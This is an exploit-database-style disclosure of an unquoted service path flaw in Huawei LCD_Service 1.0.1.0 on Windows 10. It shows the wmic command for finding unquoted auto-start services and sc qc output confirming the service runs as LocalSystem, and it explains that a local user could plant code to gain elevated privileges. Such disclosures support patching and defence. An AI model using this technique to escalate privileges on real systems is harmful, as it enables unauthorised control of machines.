# Exploit Title: Huawei LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path # Date: 2020-11-07 # Exploit Author: Gerardo González # Vendor Homepage: https://consumer.huawei.com/mx # Software Link: https://consumer.huawei.com/mx # Version: 1.0.1.0 # Tested on: Windows 10 Home Single Language x64 Esp # Step to discover the unquoted Service: C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ # Service info: Huawei LCD_Service LCD_Service C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe Auto C:\Users\gerar>sc qc "LCD_Service" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: LCD_Service TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Huawei LCD_Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.